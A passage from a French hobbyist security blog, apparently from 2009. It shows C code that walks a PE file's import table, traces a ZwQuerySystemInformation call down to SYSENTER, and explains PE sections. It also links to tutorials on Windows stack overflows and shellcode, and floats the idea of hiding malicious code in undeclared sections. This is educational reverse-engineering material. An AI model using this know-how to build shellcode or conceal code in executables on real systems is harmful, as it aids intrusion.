// On s'y déplace
Offset = OffsetOfIat + (RelativeVirtualAddress - VirtualAddressOfIat);
fseek(Pe.fp, Offset, SEEK_SET);

// Lecture de l'IMAGE_IMPORT_BY_NAME
fread(&CurrentFunction.Hint, sizeof(WORD), 1, Pe.fp);

// Affichage du nom de la fonction
fread(funcname, sizeof(char), 255, Pe.fp);
printf("\t- %s\n", funcname);
// On revient aux RVAs des fonctions
Offset = OffsetOfIat + (CurrentImage.OriginalFirstThunk - VirtualAddressOfIat);
fseek(Pe.fp,(++cpt) * sizeof(DWORD) + Offset, SEEK_SET);

fread(&RelativeVirtualAddress, sizeof(DWORD), 1, Pe.fp);
}
printf("\n");
cpt = 0;
fseek(Pe.fp,(++n)*sizeof(IMAGE_IMPORT_DESCRIPTOR) + OffsetOfIat, SEEK_SET);
fread(&CurrentImage, sizeof(IMAGE_IMPORT_DESCRIPTOR), 1, Pe.fp);
}
}

}

// Osef pour l'instant
int PE_Create(char *filename) {
FILE *fp = NULL;
if((fp = fopen(filename,"wb")) == NULL) {
return -1;
}
}

/*
* Cette fonction affiche les structures d'images d'importations -
* de la section IAT - avec leurs membres.
* @param MyPe (PortableExecutable) : structure PortableExecutable.
*/
VOID Pe_ShowImageImportDescriptors(PortableExecutable Pe) {
IMAGE_IMPORT_DESCRIPTOR CurrentImage;
DWORD OffsetIat = Pe_GetOffsetIat(Pe);
fseek(Pe.fp, OffsetIat, SEEK_SET);
fread(&CurrentImage, sizeof(IMAGE_IMPORT_DESCRIPTOR), 1, Pe.fp);
printf("---------------------------------------------\n");
while(CurrentImage.OriginalFirstThunk != 0
|| CurrentImage.TimeDateStamp != 0
|| CurrentImage.ForwarderChain != 0
|| CurrentImage.Name != 0
|| CurrentImage.FirstThunk != 0) {
printf("OriginalFirstThunk = 0x%08X\n"
"TimeDateStamp = 0x%08X\n"
"ForwarderChain = 0x%08X\n"
"Name = 0x%08X\n"
"FirstThunk = 0x%08X\n"
"---------------------------------------------\n"
, CurrentImage.OriginalFirstThunk, CurrentImage.TimeDateStamp,
CurrentImage.ForwarderChain, CurrentImage.Name, CurrentImage.FirstThunk);
fread(&CurrentImage, sizeof(IMAGE_IMPORT_DESCRIPTOR), 1, Pe.fp);
}
}

/* Cette fonction récupère l'offset pur et dur - donc dans le fichier -
* de la section IAT
* @param MyPe (PortableExecutable) : structure PortableExecutable.
*/
DWORD Pe_GetOffsetIat(PortableExecutable Pe) {
IMAGE_DATA_DIRECTORY Iat;
int i = 0;
fseek(Pe.fp, Pe.ImageDosHeader.e_lfanew + 0x80, SEEK_SET);
fread(&Iat, sizeof(IMAGE_DATA_DIRECTORY), 1, Pe.fp);
while(Pe.ImagesSectionHeader[i++].VirtualAddress <= Iat.VirtualAddress);
i -= 2;
return Pe.ImagesSectionHeader[i].PointerToRawData +
(Iat.VirtualAddress - Pe.ImagesSectionHeader[i].VirtualAddress);
}

/* Cette fonction récupère l'adresse virtuelle
* de la section IAT
* @param MyPe (PortableExecutable) : structure PortableExecutable.
*/
DWORD Pe_GetVirtualAddressOfIat(PortableExecutable Pe) {
IMAGE_DATA_DIRECTORY Iat;
fseek(Pe.fp, Pe.ImageDosHeader.e_lfanew + 0x80, SEEK_SET);
fread(&Iat, sizeof(IMAGE_DATA_DIRECTORY), 1, Pe.fp);
return Iat.VirtualAddress;
}

Résultat :
C:\Documents and Settings\Geoffrey\C\PE\bin\Debug>PE.exe hello.exe
[*] KERNEL32.dll :
- AddAtomA
- ExitProcess
- FindAtomA
- GetAtomNameA
- SetUnhandledExceptionFilter

[*] msvcrt.dll :
- __getmainargs
- __p__environ
- __p__fmode
- __set_app_type
- _assert
- _cexit
- _iob
- _onexit
- _setmode
- abort
- atexit
- free
- malloc
- memset
- printf
- signal

Le code C est très crasseux et reste à améliorer, autant sur la revue des algos que sur l'ajout de nouvelles fonctionnalités.

Vous pouvez obtenir l'archive contenant sources + exécutable + fichier projet Code::Blocks ici : http://nibbles.tuxfamily.org/wp-content/uploads/2009/07/PE.zip

Conclusion


La section IAT reste intéressante en elle. Son fonctionnement est tel qu'elle puisse importer des fonctions de n'importe quelle DLL - tant qu'elle existe - sans en connaître ses adresses mémoires. Simplement ses noms. Il existe cependant d'autres méthodes pour faire appel à des fonctions sans passer par l'IAT, telles que l'utilisation des fonctions LoadLibrary() et GetProcAddress().

Liens :

(Désolé pour les bavures sur le formatage des différents codes sources. L'archive reste *normalement* à disposition).

dimanche 5 juillet 2009

Stack overflow sous windows

Oyé, oyé.
C'est les grandes vacances. On décompresse de cette dure année de scolarité qu'on a endurée. D'autres attendent des résultats pour leur examen - et, de ce faits, stressent. D'autres, comme moi, se reposent.

Je serai littéralement indisponible (sur le blog) et si je me mets à écrire un article pendant cette période, c'est que j'en ai vraiment la motivation.

Enfin, trêve de bavardages. J'ai fait un tutoriel sur les stack overflow sous windows. Je tiens à remercier 0vercl0k qui m'a autorisé à reprendre certains de ses concepts. Mon tutoriel est, par ailleurs, moins avancé que le sien.

Le lien ? ici : http://venom630.free.fr/geo/tutz/securite_informatique/buffer_overflows_windows/

Passez de bonnes vacances.

Geo

mardi 23 juin 2009

Faire ses shellcodes sous windows

[ 0vercl0k->where = flc ] - holiday >:] dit :
mets-les sur ton blogs, ces articles
[ 0vercl0k->where = flc ] - holiday >:] dit :
certains seraient contents de lire de tels articles


D'accord. Je veux bien.

Aujourd'hui, je vous diffuse un tutoriel amateur qui traite de la conception de shellcodes sous windows. Je n'ai rien de plus à dire, puisque tout est expliqué dedans.

Le lien ? C'est ici : http://venom630.free.fr/geo/tutz/programmation/asm/shellcoding_windoz/

J'en profite pour souhaiter bonne chance à ceux qui ont encore des épreuves à passer pour le baccalauréat.

Bonne lecture !

Geo

lundi 15 juin 2009

Sysenter, ou les interruptions noyau sous windows

Hoy ! Ca faisait longtemps que je n'avais pas posté d'article ! Pour dire, y'a rien eu en mai, c'est navrant ! Mais, comme dirait Ivanlef0u, au lieu de poster pour rien dire, j'ai préféré fermer ma gueule.

Avant de commencer, je lui dois un grand merci. Sans lui, ma lanterne ne serait pas éclairée. Petit big up également à Lord 0vercl0k, qui a su se montrer très patient. Ils forment une belle paire, si vous voulez mon avis.

Bon, bon, bon. Entrons dans le vif du sujet : l'instruction sysenter en assembleur. On rencontre souvent cette instruction lorsqu'on trace dans les appels aux APIs pendant une session de debuging. Etant curieux, je m'étais posé la question suivante : Mais c'est quelle instruction qui affiche du flux à l'écran à l'intérieur de WriteFile() ?. Eh bien, j'ai été surpris de tomber sur l'instruction Sysenter qui faisait tout basculer. Mais à quoi correspond-elle ?

L'instruction sysenter correspond au passage du mode "userland" (appelé "ring 3") au kerneland ("ring 0"). Les rings, ou anneaux sont représentés par un numéro codé sur 2 bits (donc de 0 à 3). Plus le chiffre est bas, plus les privilèges sont élevés. Les APIs se contentent donc de faire exécuter tel ou tel code en ring0, et nous, on a juste à faire de simples appels sur les APIs. Ca facilite la vie, disons.

Mon objectif premier était de déclencher ma propre apparition de flux à l'écran à l'aide d'une interruption noyau. En me référant à la Windows System Call Table, j'avais essayé avec la fameuse NtWriteFile(), sans succès.

C'est là que je viens voir Ivanlef0u, et il me conseille de tenter avec NtQuerySystemInformation(). Cette fonction, très bas niveau, sert visiblement à obtenir des informations sur le système. Enfin, au lieu d'utiliser les fonctions de type Nt, il m'a plutôt fallu utiliser les fonctions en Zw ; c'est-à-dire ZwQuerySystemInformation().

Sa documentation dans la MSDN : http://msdn.microsoft.com/en-us/library/ms725506(VS.85).aspx.
Sa description est on ne peut plus claire : "Retrieves the specified system information.", ou "réquisitionne les informations systèmes spécifiées".

Sa signature n'étant pas disponible dans un .h, il faut aller récupérer son adresse dans ntdll.dll et sauter dessus, dont la plupart des fonctions ne sont nullement documentées. Pour cela, on va utiliser deux fonctions de l'API Win32 :

  • LoadLibrary() : elle prend exactement un paramètre : le nom de la DLL. Elle retourne un "handle" (ou poignée) sur cette DLL. Un "handle", en informatique, permet de manipuler un bloc de donnée. Imaginez par exemple une simple raquette de tennis : il vous faut une poignée pour manipuler la grande surface. Ici, c'est pareil ;

  • GetProcAddress() : elle prend respectivement en argument le handle retourné par LoadLibrary, et le nom de la fonction dont on veut l'adresse : ici, ça sera ZwQuerySystemInformation. GetProcAdress retourne aussi un handle, et cette fois, sur la fonction.



(Vous verrez qu'en API WIN32, beaucoup de chose sont une histoire d' "handle".)

Liens MSDN : LoadLibrary() et GetProcAddress().

Voici une solution de code C que j'ai pu pondre :
#include <windows.h>
#include <stdio.h>

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation,
SystemLocksInformation,
SystemStackTraceInformation,
SystemPagedPoolInformation,
SystemNonPagedPoolInformation,
SystemHandleInformation,
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmInstemulInformation,
SystemVdmBopInformation,
SystemFileCacheInformation,
SystemPoolTagInformation,
SystemInterruptInformation,
SystemDpcBehaviorInformation,
SystemFullMemoryInformation,
SystemLoadGdiDriverInformation,
SystemUnloadGdiDriverInformation,
SystemTimeAdjustmentInformation,
SystemSummaryMemoryInformation,
SystemNextEventIdInformation,
SystemEventIdsInformation,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemExtendServiceTableInformation,
SystemPrioritySeperation,
SystemPlugPlayBusInformation,
SystemDockInformation,
SystemPowerInformation2,
SystemProcessorSpeedInformation,
SystemCurrentTimeZoneInformation,
SystemLookasideInformation
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;


typedef struct _SYSTEM_BASIC_INFORMATION {
BYTE Reserved1[24];
PVOID Reserved2[4];
CCHAR NumberOfProcessors;
} SYSTEM_BASIC_INFORMATION;

typedef int (*MYPROC)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);

int main(int argc, char **argv) {

HINSTANCE hinstLib;
MYPROC ProcAdd;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;
SYSTEM_BASIC_INFORMATION arg1;
hinstLib = LoadLibrary(TEXT("ntdll.dll"));

if (hinstLib != NULL) {
ProcAdd = (MYPROC)GetProcAddress(hinstLib, "ZwQuerySystemInformation");
if (NULL != ProcAdd) {
fRunTimeLinkSuccess = TRUE;
ProcAdd(SystemBasicInformation, (PVOID)&arg1, sizeof(arg1), NULL );
printf("Processeur : %d\n",arg1.NumberOfProcessors);
system("pause > nul");
}
fFreeResult = FreeLibrary(hinstLib);
}

return 0;
}


La source est disponible ici dans son intégralité : http://venom630.free.fr/geo/blog/sysenter/ZwQuerySystemInformation_c.txt.

Je n'ai pas commenté le code (et c'est très mal), mais je vais vous expliquer concrètement ce que j'ai fait. D'abord, j'ai récupéré la grosse "enum" sur un site qui regroupe un tas de structures/enums/fonctions non documentées par Microsoft (merci à 0vercl0k, d'ailleurs) : http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/System%20Information/SYSTEM_INFORMATION_CLASS.html, et la structure SYSTEM_BASIC_INFORMATION sur la MSDN.

Petite parenthèse, pour ceux que ça intéresse : la signification des préfixes Nt et Zw : Nt signifie "New technologie", et Zw n'a aucune signification. Pourquoi ? Pour éviter les collisions entre les noms de fonction.

Enfin, j'ai fourni l'exécutable en plus du code. Tout est téléchargeable ici.

Maintenant, on va debugger notre programme et tracer à l'intérieur du call à notre fonction chargée dynamiquement. On pose donc un break à l'adresse 00401320 comme ceci :

Et on lance le programme (F9) pour ensuite tracer dans le call pas à pas (F7). On tombe sur ça :
7C91D92E > B8 AD000000 MOV EAX,0AD
7C91D933 BA 0003FE7F MOV EDX,7FFE0300
7C91D938 FF12 CALL DWORD PTR DS:[EDX]
7C91D93A C2 1000 RETN 10


La première instruction met le numéro du syscall dans EAX. Si l'on regarde la Windows System Call Table fournie par MetaSploit, on voit bien qu'il s'agit de NtQuerySystemInformation. Ensuite, on met dans Edx une adresse qui correspond à celle de la fonction KiFastSystemCall() (merci à 0vercl0k pour ce petit rectificatif), et on l'appelle via le call. On trace dedans :
7C91E510 > 8BD4 MOV EDX,ESP
7C91E512 0F34 SYSENTER
7C91E514 > C3 RETN


La première instruction charge dans EDX la valeur d'ESP, ou le sommet de la pile. Probablement pour permettre, lors du passage dans ring0, de pouvoir revenir en Ring3. Apparement, les arguments de la fonction se situent aussi en-dessous dans la pile. On trace dans Sysenter, et on s'aperçoit que notre espace mémoire correspondant à arg1 en C a été modifié. A l'adresse 0022FF58, on a le nombre de processeurs dans notre ordinateur. Pour ma part, j'ai "1" car j'ai un monocore qui date un peu. Mais pour les processeurs double coeur, vous devriez voir "2" (merci à Ornlu pour avoir testé).

Voici ce que j'ai en mode console, en tout cas :
Processeur : 1


Quant aux fonctions qui affichent du flux à l'écran, elles appellent ZwRequestWaitReplyPort. Ivanlef0u m'a expliqué que la console est gérée bizarrement. Ca à donc l'air compliqué d'afficher du flux soi-même avec un sysenter. Si y'a un commentaire pour me dépanner, il est le bienvenue. Mes connaissances sur le sujet ne sont que peu conséquentes, je suis débutant.


Conclusion ?


Même windows utilise les syscalls, mais ceux-ci sont moins faciles d'implémentation qu'avec linux où, pour certaines fonctions, on peut se contenter de mettre les arguments dans les registres et d'appeler le service 80h en interruption noyau. Pour Windows, ça reste compliqué mais vachement intéressant.

On va se quitter avec quelques articles qui parlent de l'instruction sysenter, notamment avec des concepts mieux détaillés voire avancés :
Ivanlef0u's Blog > SYSENTER, stepping into da ring0
Plongeon dans les appels sytème windows, par Emilien Girault (big up à toi aussi, d'ailleurs)
First Steps Into Ring0, par 0vercl0k

A la prochaine !

Geo

mercredi 29 avril 2009

Format PE - Part II

Salut, salut.

Chose promise, chose due. Je continue l'aventure sur le format PE. Tout d'abord, je vais vous raconter ma sale journée vous résumer brièvement ce qu'évoquait le "Part I" :
- Etude de la définition du format ;
- Etude de l'en-tête DOS ;
- Etude de l'en-tête principale ;
- Afficher le timestamp de compilation - ou, pour rester français, la date à laquelle le programme a été traduit en code machine ;
- Afficher le nombre de sections.

Je m'étais arrêté sur le dernier point, et j'avais enchaîné avec un article qui récupérait le code machine de la section .code. Je parle de section, mais je ne l'ai pas vraiment définie. Alors, allons-y.

Je ne vais pas m'attarder sur google pour chercher une définition, mais plutôt essayer de vous expliquer tout cela comme si vous étiez en face de moi. Une section, dans un exécutable, c'est une sorte de paragraphe qui a ses propriétés. Chaque section a une en-tête qui lui est propre et qui définit ses caractéristiques. Voici celles que je suis en mesure de vous décrire succinctement :
- son nom, codé sur 8 octets ;
- sa taille virtuelle : la taille à réserver lors du chargement de la section en mémoire (je me suis servi de cette caractéristique pour le dump de la section .text, après avoir compilé le shellcode d'0vercl0k) ;
- son adresse virtuelle (on en parlera prochainement) ;
- l'offset du début de la section ;
- ...

Si vous ne comprenez toujours pas, je peux vous citer des exemples de section connues :
- .text : contient toutes les instructions binaires qui seront exécutées sequentiellement ;
- .rdata : contient les données nécessaires au programme (r = read). Par exemple, si vous avez fait, en C, un printf("Hello"), la chaîne de caractère sera écrite "en bazar" dans la section .rdata, et on accédera à cette chaîne via son adresse mémoire virtuelle ;
- .bss : espace mémoire réservé par le programme afin de permettre aux instructions machines de stocker des valeurs si besoin ;
- .idata : espace mémoire réservé pour la table des importations. Cette section renferme le nom des fonctions utilisées par le programme, ainsi que les bibliothèques dynamiques (ou DLL) chargées.

En résumé, si on se replonge dans le bain, un PE ressemble à ça :


Certes, pour ceux qui ont déjà lu de la documentation, ce schéma n'est pas exceptionnel et on le retrouve de partout.


Autre "trucs" que j'ai oubliés



Pour ceux qui ouvrent des exécutables avec OllyDbg, vous vous apercevez que les adresses mémoires sont de la forme 0040XXXX. Ce sont des adresses mémoires virtuelles. La base des adresses mémoires est définie dans l'en-tête optionnelle du PE :

00400098 0B01 DW 010B ; MagicNumber = PE32
0040009A 02 DB 02 ; MajorLinkerVersion = 2
0040009B 38 DB 38 ; MinorLinkerVersion = 38 (56.)
0040009C 000A0000 DD 00000A00 ; SizeOfCode = A00 (2560.)
004000A0 00120000 DD 00001200 ; SizeOfInitializedData = 1200 (4608.)
004000A4 00020000 DD 00000200 ; SizeOfUninitializedData = 200 (512.)
004000A8 80120000 DD 00001280 ; AddressOfEntryPoint = 1280
004000AC 00100000 DD 00001000 ; BaseOfCode = 1000
004000B0 00200000 DD 00002000 ; BaseOfData = 2000
004000B4 00004000 DD 00400000 ; ImageBase = 400000

(pour info, j'ai dumpé un bout de l'en-tête de mon fameux "Hello.exe" du part I, avec OllyDbg).

Je vous ai montré le champ important. Malgré ça, il y en a d'autres plutôt intéressants. Je n'expliciterai cependant pas là-dessus. Quoi, vous tenez quand même à savoir ?

Bon, eh bien, je dois vous avouer que j'aurais du le faire plus tôt ; je vais vous passer un pdf qui semble très bien résumer (mieux que moi, en tout cas) l'architecture du format PE. http://venom630.free.fr/geo/blog/format_pe_partii/Le_format_PE.pdf. A croire que cet article n'aurait servi à rien, si ce n'est vous retranscrire cela dans un langage peut-être plus familier !

Exceptionnellement, on ne va pas se quitter avec un code source. Il faut que je prenne le temps de me mettre à l'API WIN32, mais, en toute honnêteté, j'ai drôlement du mal à me familiariser avec la msdn et les noms de fonctions compliqués. A croire que je ne sais me servir que que Sleep() et de MessageBox(). Celui qui se marre, ... grmbl.


Conclusion ?


Là, encore, il n'y a pas grand chose à dire pour clore l'article, si ce n'est que le format PE est intéressant, et qu'une idée m'est venue à la tête concernant les sections. Je n'ai pas fait de recherche sur google, mais autant retranscrire l'idée maintenant (pour le peu de lecteurs qui suivent) : si on ne déclare pas une section avec son en-tête, se peut-il qu'on puisse allouer un espace mémoire non "détecté" dans les en-tête et y injecter du code malicieux ? A réfléchir. Ou pas.

Geo


URL de support : http://venom630.free.fr/geo/?path=blog/format_pe_partii (contient l'image et le pdf adéquats à l'article)